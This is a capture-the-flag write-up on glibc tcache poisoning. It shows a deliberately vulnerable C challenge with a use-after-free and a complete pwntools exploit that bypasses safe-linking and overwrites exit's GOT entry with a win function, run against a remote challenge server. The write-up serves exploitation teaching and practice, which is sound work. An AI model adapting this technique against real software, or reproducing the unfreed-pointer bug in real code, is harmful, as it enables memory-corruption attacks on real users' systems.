> For the complete documentation index, see [llms.txt](https://xenon-2.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xenon-2.gitbook.io/writeups/binary-exploitation/heap/tcache-poisoning.md).

# Tcache poisoning

### What is tcache

stands for **thread local cache**, supposed to replace what **fastbins** and **smallbins** are.

every chunk size (up to 0x410) has its own tcache bin which can store up to 7 chunks.

some structs for [reference](https://hackmd.io/@5Mo2wp7RQdCOYcqKeHl2mw/ByTHN47jf)

```c
/* We overlay this structure on the user-data portion of a chunk when
    the chunk is stored in the per-thread cache.  */
 typedef struct tcache_entry
 {
   struct tcache_entry *next;
 } tcache_entry;
 
 /* There is one of these for each thread, which contains the
    per-thread cache (hence "tcache_perthread_struct").  Keeping
    overall size low is mildly important.  Note that COUNTS and ENTRIES
    are redundant (we could have just counted the linked list each
    time), this is for performance reasons.  */
 typedef struct tcache_perthread_struct
 {
   char counts[TCACHE_MAX_BINS];
   tcache_entry *entries[TCACHE_MAX_BINS];
 } tcache_perthread_struct;
 static __thread char tcache_shutting_down = 0;
 static __thread tcache_perthread_struct *tcache = NULL;

```

### Exploitation

If you get control of the **next** pointer of a freed chunk, we can allocate to an arbitrary address giving us a **write** primitive.

This challenge is an example of that.

```c
// gcc chal.c -no-pie -o chal
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_DANCES 16
#define DANCE_SIZE 256

char *dances[MAX_DANCES];

void win() {
    printf("PEARTO IS PLEASED\n");
    system("cat flag.txt");
    exit(0);
}

void create_dance() {
    int index;
    printf("WHERE IS TETO DANCING? (0 to %d) > ", MAX_DANCES - 1);
    scanf("%d", &index);
    getchar(); // Consume the newline character

    if (index < 0 || index >= MAX_DANCES) {
        printf("WE CAN'T DANCE HERE.\n");
        return;
    }

    dances[index] = (char *)malloc(DANCE_SIZE * sizeof(char));

    printf("DESCRIBE TETO'S DANCE (max %d characters) > ", DANCE_SIZE - 1);
    fgets(dances[index], DANCE_SIZE, stdin);
    dances[index][strcspn(dances[index], "\n")] = 0;

    printf("TETO IS NOW DANCING AT POSITION %d AT %p.\n", index, dances[index]);
}

void delete_dance() {
    int index;
    printf("WHICH DANCE MUST GO? (0 to %d) > ", MAX_DANCES - 1);
    scanf("%d", &index);

    if (index < 0 || index >= MAX_DANCES || dances[index] == NULL) {
        printf("THERE IS NO DANCE HERE.\n");
        return;
    }

    free(dances[index]);
    printf("NOW THE DANCE AT %d IS GONE.\n", index);
}

void edit_dance() {
    int index;
    printf("ENTER THE DANCE YOU WOULD LIKE MODIFIED > ", MAX_DANCES - 1);
    scanf("%d", &index);
    getchar(); // Consume the newline character

    if (index < 0 || index >= MAX_DANCES || dances[index] == NULL) {
        printf("THERE IS NO DANCE HERE.\n");
        return;
    }

    printf("DESCRIBE YOUR NEW DANCE. (max %d characters) > ", DANCE_SIZE - 1);
    fgets(dances[index], DANCE_SIZE, stdin);
    dances[index][strcspn(dances[index], "\n")] = 0; // Remove newline character

    printf("TETO IS NOW DANCING A NEW DANCE AT %d.\n", index);
}

int main() {
    int choice;
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    while (1) {
        printf("-------\nLIAR DANCER\n-------\n");
        printf("1. CREATE DANCE\n");
        printf("2. DELETE DANCE\n");
        printf("3. EDIT DANCE\n");
        printf("4. QUIT\n\n");
        printf("TETOTETOTETO > ");
        scanf("%d", &choice);

        switch (choice) {
            case 1:
                create_dance();
                break;
            case 2:
                delete_dance();
                break;
            case 3:
                edit_dance();
                break;
            case 4:
                return 0;
            default:
                printf("LIAR!!!\n");
                exit(0);
        }
    }

    return 0;
}

```

We have the ability to create 16 allocations and there is no **NULL** of pointers after freeing, giving us **UAF** with the **edit\_dance** function.

We can overwrite one of the GOT functions with **win** such as **exit** as there is no **FULL RELRO**.

We also need to bypass safe-linking which requires a heap leak.

```python
from pwn import *

elf = context.binary = ELF("./chal_patched")
context.binary = elf
context.log_level = 'debug'

if args.REMOTE:
    p = remote("chall.nypinfosec.net", 8004)
else:
    p = elf.process()
    gdb.attach(p, gdbscript='''break *main''')

sla = lambda a, b: p.sendlineafter(a, b)

def create_dance(index, data):
    sla(b"TETOTETOTETO > ", b"1")
    sla(b"> ", str(index).encode())
    sla(b"> ", data)
    resp = p.recvuntil(b".\n").decode()
    parts = resp.split(" AT ")
    addr_str = parts[2].split(".")[0]
    return int(addr_str, 16)

def delete_dance(index):
    sla(b"TETOTETOTETO > ", b"2")
    sla(b"> ", str(index).encode())

def edit_dance(index, data):
    sla(b"TETOTETOTETO > ", b"3")
    sla(b"> ", str(index).encode())
    sla(b"> ", data)

# Target addresses
win_addr = elf.symbols['win']
exit_got = 0x404058

log.info(f"win() address: {hex(win_addr)}")
log.info(f"exit GOT address: {hex(exit_got)}")

# Check alignment
log.info(f"exit_got alignment check: {hex(exit_got)} % 16 = {exit_got % 16}")

# The issue might be that we need to target a properly aligned address
# Let's try targeting the exit GOT minus 8 bytes to ensure alignment
target = exit_got - 8  # 0x404050 should be aligned
log.info(f"Adjusted target: {hex(target)}")

# Step 1: Create two chunks
victim_addr = create_dance(0, b"A" * 100)
log.info(f"Victim chunk: {hex(victim_addr)}")

guard_addr = create_dance(1, b"B" * 100) 
log.info(f"Guard chunk: {hex(guard_addr)}")

# Step 2: Free both chunks (order matters!)
delete_dance(0)  # victim first
delete_dance(1)  # guard second (becomes head)

# Step 3: Calculate proper mangled address
chunk_key = guard_addr >> 12
mangled_target = target ^ chunk_key
log.info(f"Chunk key: {hex(chunk_key)}")
log.info(f"Mangled target: {hex(mangled_target)}")
log.info(f"Target alignment check: {hex(target)} % 16 = {target % 16}")

# Step 4: Poison the head chunk's fd pointer
edit_dance(1, p64(mangled_target))

# Step 5: Allocate twice
create_dance(2, b"dummy")           # Gets guard chunk

# Step 6: Now we have a chunk at (exit_got - 8)
# Write our payload with 8 bytes padding + win_addr
payload = b"A" * 8 + p64(win_addr)
create_dance(3, payload)            # Writes win_addr to exit GOT

# Step 7: Trigger exit
log.info("Triggering exit...")
sla(b"TETOTETOTETO > ", b"999")

p.interactive()
```
